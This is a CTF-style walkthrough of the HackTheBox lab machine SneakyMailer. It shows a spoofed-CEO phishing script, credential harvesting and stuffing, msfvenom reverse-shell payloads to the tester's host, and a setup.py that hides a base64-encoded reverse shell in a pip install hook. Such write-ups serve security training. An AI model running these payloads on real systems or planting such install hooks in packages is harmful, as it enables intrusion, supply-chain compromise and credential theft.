Pentest

Sneakymailer

HackTheBox

01 December 2020

Difficulty:

Intro :bulb:

This is a pretty interesting box, some say it’s super CTF-like, some say it’s super realistic, the point is that this machine is quite different. The big difference is that there are scripts that act as humans. In the foothold stage you have to learn the basics of phishing emails in a technical way. The user is also quite fun as you have to make your own python package and get code execution upon installation of your malicious package. Root is pretty dissapointing not gonna lie but foothold and user is already jam packed so it’s alright.

Enumeration :mag:

Let’s put the IP 10.10.10.197 as sneakymailer.htb into our /etc/hosts file, then masscan and nmap it.

masscan --rate=200 -e tun0 -p1-65535,U:1-65535 10.10.10.197 | tee masscan.out
...
Discovered open port 25/tcp on 10.10.10.197                                    
Discovered open port 993/tcp on 10.10.10.197                                   
Discovered open port 143/tcp on 10.10.10.197                                   
Discovered open port 21/tcp on 10.10.10.197                                    
Discovered open port 8080/tcp on 10.10.10.197                                  
Discovered open port 80/tcp on 10.10.10.197                                    
Discovered open port 22/tcp on 10.10.10.197                                    
nmap -A -oN nmap.out sneakymailer.htb -p`awk '{print $4}' masscan.out | tr -d '[/tcp/udp]' | tr '\n' ',' | sed 's/.$//'`
...
PORT     STATE SERVICE    VERSION
21/tcp   open  ftp        vsftpd (Misconfigured)
22/tcp   open  ssh        OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
25/tcp   open  smtp?
80/tcp   open  http       nginx 1.14.2
993/tcp  open  tcpwrapped
8080/tcp open  http       nginx 1.14.2
Full nmap output
# Nmap 7.80 scan initiated Fri Nov 13 12:12:54 2020 as: nmap -A -oA nmap -p25,993,143,21,8080,80,22 sneakycorp.htb
Nmap scan report for sneakycorp.htb (10.10.10.197)
Host is up (0.025s latency).

PORT     STATE SERVICE    VERSION
21/tcp   open  ftp        vsftpd (Misconfigured)
22/tcp   open  ssh        OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey: 
|   2048 57:c9:00:35:36:56:e6:6f:f6:de:86:40:b2:ee:3e:fd (RSA)
|   256 d8:21:23:28:1d:b8:30:46:e2:67:2d:59:65:f0:0a:05 (ECDSA)
|_  256 5e:4f:23:4e:d4:90:8e:e9:5e:89:74:b3:19:0c:fc:1a (ED25519)
25/tcp   open  smtp?
|_smtp-commands: Couldn't establish connection on port 25
80/tcp   open  http       nginx 1.14.2
|_http-server-header: nginx/1.14.2
|_http-title: Employee - Dashboard
143/tcp  open  imap       Courier Imapd (released 2018)
|_imap-capabilities: ENABLE THREAD=REFERENCES ACL UTF8=ACCEPTA0001 NAMESPACE UIDPLUS STARTTLS OK IDLE ACL2=UNION CHILDREN QUOTA completed IMAP4rev1 CAPABILITY SORT THREAD=ORDEREDSUBJECT
993/tcp  open  tcpwrapped
8080/tcp open  http       nginx 1.14.2
|_http-open-proxy: Proxy might be redirecting requests
|_http-server-header: nginx/1.14.2
|_http-title: Welcome to nginx!
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 3.1 (95%), Linux 3.2 (95%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (94%), Linux 2.6.32 (94%), ASUS RT-N56U WAP (Linux 3.4) (93%), Linux 3.16 (93%), Adtran 424RG FTTH gateway (92%), Linux 2.6.39 - 3.2 (92%), Linux 3.1 - 3.2 (92%), Linux 3.11 (92%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 80/tcp)
HOP RTT      ADDRESS
1   29.28 ms 10.10.14.1
2   24.37 ms sneakycorp.htb (10.10.10.197)

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Fri Nov 13 12:17:29 2020 -- 1 IP address (1 host up) scanned in 275.09 seconds

Port 21 (vsftpd)

Tried to connect to ftp to get an easy anon login, but we need creds.

Port 80 (nginx 1.14.2)

Upon accessing sneakymailer.htb it redirected us to sneakycorp.htb, so I changed the entry on my /etc/hosts file.

Looks like we are already logged in here with an account, we also see some useful info and background about who we are logged in as, and info about the site in general. Clicking the team tab, we see a bunch of internal emails.

We also have some messages.

They’re cut midway though, let’s see if we can see the full message in the html source.

Judging from these messages and the info on the homepage, we’re probably logged in as a guy who installs pypi modules on this server with pip. Anyway now we have 2 person of interests, and we can search for their emails in the team tab. So I tried to logout to try and login with weak passwords on these emails but it looks like we can’t even logout.

We can see the logout link points nowhere. So then I looked at the html source some more to try and find links manually and found this hint in a comment.

Let’s try and access this register page

We see an incomplete register form that doesn’t do anything but we now know about the pypi/ folder so let’s start fuzzing. I fuzzed the webapp (/) and then pypi/

My fuzzing results:

Wordlists used:

I think we’ve fuzzed enough to say that it’s not the way to go, so let’s look at another port

Port 8080 (nginx 1.14.2)

Looks like a default page, no links at all I tried to fuzz again, but got nothing again. I’m pretty confident that fuzzing isn’t the way to go either here because the wordlists used usually gets me the next step in htb boxes that do need fuzzing.

Port 25

Let’s try port 25 which says smtp, googled “port 25 pentesting”, got this. Reading through that, an idea popped up, maybe we can email a php webshell and somehow view it in the webapp. We do have a list of emails from the team page in port 80, so let’s grab that and I’ll use smtp-user-enum.

So I did that, sadly it said no emails were found.

Port 143, 993

Let’s try port 143 which says imap, googled “port 143 pentesting”, got this. I tried some of the IMAP commands here but not a lot worked.

Initial Foothold :syringe:

I got stuck for a while here since I’ve tried everything I knew on these ports so I started trying to think differently. We can look at the machine name that it’s about mailing and we can also see the machine banner image and this time it’s not just a face but rather someone doing a specific action which looks like fishing, and we know

mail + fish = phishing email

Let’s get prepared then. If we want to phish, we’re going to try it on the SMTP port to send phishing mails which will then be grabbed by a victim from the IMAP port, but phishing requires a human on the other end, so a wild guess it that a script is set up to automatically click on links in emails just like admin cookie stealing in CTFs that use scripts to periodically run the XSS payloads submitted by the players.

We can also see in the dashboard page (homepage at port 80) in the project update section that employees are asked to check their email and register an account. Looking at the teams page we see 2 interesting people, the CEO who messaged us and someone with the title the new guy, so I tried to spoof myself as the CEO sending a message to the new guy (also the name of this “new guy” is the box creator’s nickname which is pretty common to be used as the box user).

If it’s a bot, then I’m guessing it’ll just access whatever URL it’s given. So I get on the drawing board, and try to design a phishing email. I then connected to the SMTP port and sent one. I’ve also set up a webserver to listen for the click.

As expected, nothing happens. Problem is, we don’t know who will click on the link as there are many emails in the team tab meaning there are many “people” in this company. We have 50+ emails to send this link to so let’s set up a small script, first I tested if we can just pipe a txt containing SMTP commands as input.

We see we got the 250 OK response which means we can, so let’s make a long txt that sends emails to all the team members, I like making simple scripts and I’m proud of this one, why bother with SMTP libraries and such when you can just pipe stuff around!

emails = open("emails.txt", "r").read().splitlines()

for e in emails:
    print(f'MAIL FROM:angelicaramos@sneakymailer.htb\nRCPT TO:{e}\nDATA\nSubject:registration\n\n<a href="http://10.10.14.4/register.php?{e}">register here</a>\n.\n')

It’s a simple python script that just prints the SMTP commands to send emails that originate from the CEO to all 50+ team members, I also added a parameter at the end to catch the user that clicks on the link.

Looking great, now I can just pipe this output to a file, then pipe it into SMTP! Brilliant!

Wait for someone to bite our bait, and we caught a fish!

Now we have some usernames, paulbyrd or just paul or the full email. But why is it a POST request instead of a GET? Let’s try to see what’s actually being POSTed. I found an easy way of logging POST data with php.

Spin up a quick php server and then we’ll send the phishing link for him to access this php file.

Let’s see what he’s sending.

Apparently paul is just POSTing his creds to random links, we don’t know if he recycles his password, regardlesss now we have a password ^(#J@SkFv2[%KhIxKk(Ju`hqcHl<:Ht.

I tried to stuff that into ftp, ssh, and imap with the usernames we found and we got a login on IMAP with paulbyrd:^(#J@SkFv2[%KhIxKk(Ju`hqcHl<:Ht. So he does recycle his passwords, as a result we got into his email inbox. Googled “imap list inbox” because I don’t know anything about how to talk to an IMAP service, found this and tried the commands out.

Sadly it looks like he has nothing in his inbox, the inbox has children though, maybe the children inboxes might have something.

Looks like “INBOX.Sent Items” has 2 things in it, let’s try to dump it with a1 fetch 1:2 RFC822.

Looks like paul requested for a developer’s password reset, anyway we got another pair of creds developer:m^AsY7vTKVT+dV1{WOU%@NaHkUAId3]C.

For the second email we found a username low which wierdly doesn’t exist in the teams page.

Well, time to stuff some more creds maybe the sysadmin hasn’t changed the password.

Stuffing it into ftp works!

It looks like the source for the webapp on port 80, maybe this is the dev version? To make sure, I wget the live version of the php pages and diff them with the dev version from ftp.

Not much difference, they just linked the register page but the register page itself hasn’t changed. So the contents of this ftp is pretty useless, maybe the ftp version is vulnerable to some authenticated RCE exploit? Nevermind, couldn’t find any good CVEs. Maybe we can upload something and execute it from the webserver though?

Let’s see if we can actually upload first.

We can actually upload something, but I couldn’t access it from port 80 nor 8080.

There’s gotta be a way to execute this stuff. We already fuzzed for subdirs so let’s check for vhosts and subdomains.

# any vhosts?
ffuf -c -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://10.10.10.197:80 -H "Host: FUZZ.htb" -mc 200
# any subdomains?
ffuf -c -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://10.10.10.197:80 -H "Host: FUZZ.sneakycorp.htb" -mc 200

Upon looking for subdomains on port 80, we found something.

Looks pretty straightforward what this subdomain is going to be hosting, so let’s add that to our /etc/hosts file.

We found the dev webapp! Let’s check if our test file is here.

Nice, we have file upload now, and we know this webapp runs php or python or both, let’s try python first.

msfvenom -p cmd/unix/reverse_python LHOST=10.10.14.4 LPORT=1234 -f raw > revshell.py

Take just the python script part.

Upload it via ftp, set up our listener, and access the payload, but we just get the file downloaded instead of executed.

Let’s try php now.

msfvenom -p php/reverse_php LHOST=10.10.14.4 LPORT=1234 -f raw > revshell.php

Edit the script a bit to remove the comment syntax at the beginning, then upload it via ftp.

Access it through dev.sneakycorp.htb/revshell.php.

Nice, we got a lowpriv shell.

User Own :heavy_dollar_sign:

The shell keeps dying so I changed to a meterpreter one

then upgrade to a bash shell with python3.

python3 -c 'import pty;pty.spawn("/bin/bash")'

looking at /etc/passwd we see some users, there’s a user called low that we saw in the email, and also a user called developer, so let’s try to become developer first with the password we got in the email.

Very nice we are now developer. Further roaming around revealed what looks like another subdomain.

We haven’t checked this pypi subdomain yet and we find a .htpasswd file here.

We got more credentials, but this one is hashed, pypi:$apr1$RV5c5YVs$U9.OTqF5n8K4mxWpSSR/p/. hash-identifier says it’s “MD5(APR)”, so let’s ask john to crack it for us.

john --wordlist=/usr/share/wordlists/rockyou.txt --pot=./john.pot htpasswd.hash

we got a new password soufianeelhaoui, I tried stuffing them to su low and su pypi but didn’t work.

So then I tried to get in the packages/ dir but I got access denied, so I tried to access it from the webpage. Add the subdomain to /etc/hosts and try to access it, but I get redirected to the regular page at port 80, then I tried it at port 8080 and we got a new page.

Wierdly enough we didn’t get asked for a password right away, so I tried to click on the links.

Now it’s asking for some HTTP basic auth, so we give it the pypi credentials we found. The link just shows a list of it’s packages but it’s got none, the other link is also empty.

Let’s learn what a pypi server is first, basically it’s a local repo of python packages, normally when we use pip to install packages, it’ll go to a central python packages repository, but we can specify our own pypi server to get the packages from, and this box hosts a pypi server where we can get those packages. Currently it hosts 0 packages as seen on the webpage, which means there has to be a way to first upload packages into this pypi server before people can download from it.

Googled “pypi server exploit” and found this article about the dangers of installing packages with pip. This tells us that setup.py files will be ran when installing, and that we can put malicious code in them. There’s also an example of a malicious setup.py there that we can take. So now we know how to make a malicious setup.py that’ll get us a shell, the problem is, are we going to get higher privs from getting this shell? and if yes, how do we make this pypi server run our malicious setup.py?

Back to the shell, I tried to find more stuff from ps -auxww

We see there’s actually another pypi server running locally on port 5000 that only serves 127.0.0.1, we can also check with netstat -anoe.

We see that the server is being run by the user pypi but that user’s shell is nologin, so let’s see /etc/group

We see that the group members of pypi-pkg are pypi and also the user low, which is our target. Now we need to break down what this command is doing

/var/www/pypi.sneakycorp.htb/venv/bin/python3
    /var/www/pypi.sneakycorp.htb/venv/bin/pypi-server
    -i 127.0.0.1 -p 5000
    -a update,download,list -P /var/www/pypi.sneakycorp.htb/.htpasswd
    --disable-fallback
    -o
    /var/www/pypi.sneakycorp.htb/packages

It’s running pypi-server from a venv

So basically there are 2 pypi servers running here, but they point to the same place, /var/www/pypi.sneakycorp.htb, meaning they serve the same packages, the one at 5000 only serves 127.0.0.1 which possibly allows more operations, while the one at 8080 seems like it’s a “public” version of it that just allows downloads.

So first we need to make our own python package, While googling “upload a package to pypi server remote” I found this article that walks through how to make your own python package.

Our little package looks like this now.

With setup.py containing this

from setuptools import setup
from setuptools.command.install import install

class PostInstallCommand(install):
    def run(self):
        # Insert code here
        exec(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8')('aW1wb3J0IHNvY2tldCAgICwgICAgICAgc3VicHJvY2VzcyAgICwgICAgICAgb3MgOyAgICAgICAgaG9zdD0iMTAuMTAuMTQuNCIgOyAgICAgICAgcG9ydD0xMjM1IDsgICAgICAgIHM9c29ja2V0LnNvY2tldChzb2NrZXQuQUZfSU5FVCAgICwgICAgICAgc29ja2V0LlNPQ0tfU1RSRUFNKSA7ICAgICAgICBzLmNvbm5lY3QoKGhvc3QgICAsICAgICAgIHBvcnQpKSA7ICAgICAgICBvcy5kdXAyKHMuZmlsZW5vKCkgICAsICAgICAgIDApIDsgICAgICAgIG9zLmR1cDIocy5maWxlbm8oKSAgICwgICAgICAgMSkgOyAgICAgICAgb3MuZHVwMihzLmZpbGVubygpICAgLCAgICAgICAyKSA7ICAgICAgICBwPXN1YnByb2Nlc3MuY2FsbCgiL2Jpbi9iYXNoIik=')[0]))
        install.run(self)

setup(
    cmdclass={
        'install': PostInstallCommand,
    }
)

which is a minimal setup.py that I added an msfvenom payload into it with

msfvenom -p cmd/unix/reverse_python LHOST=10.10.14.4 LPORT=1235

and __init__.py is just an empty file, and don’t forget to listen for our new shell. Now we turn it into a real package with

python setup.py sdist

and now our package turns into

We can also see the syntax to upload a python package to a pypi server.

python setup.py sdist upload -r linode

The -r option needs a ~/.pypirc file to reference, which we don’t have and we can’t create because we don’t have the privs to create files in our home, but maybe we can change our home?

Yes we can! Now we can make the .pypirc file here in our new home.

[distutils]
index-servers =
    local

[local]
repository: http://localhost:5000
username: pypi
password: soufianeelhaoui

I tried to make the name “pypi” but that’s now allowed, so careful not to do that, I just used the name “local”.

Now let’s try to build and upload it. By the way this whole python package building thing was done on the target machine, I started with just the uploading the malicious setup.py there and started building the package. I tried to port forward port 5000 from the target machine to my local machine so that I could build the package locally but I couldn’t get the port forwarding to work.

python3 setup.py sdist upload -r local

Looks good, unexpectedly we’ve got the connection already.

I thought that we would need to somehow install it after uploading which is why I didn’t expect the connection now, but then I remembered the second email basically saying that low is tasked with installing python modules, so the role play here is that low actually installed our malicious package. Anyway we got user!

Root Own :zap:

let’s get a better shell again with

python3 -c 'import pty;pty.spawn("/bin/bash")'

I always try sudo -l, and we actually got a “NOPASSWD” on a medium difficulty box?

Well alright then we can just gtfo!

We got root! :checkered_flag::checkered_flag: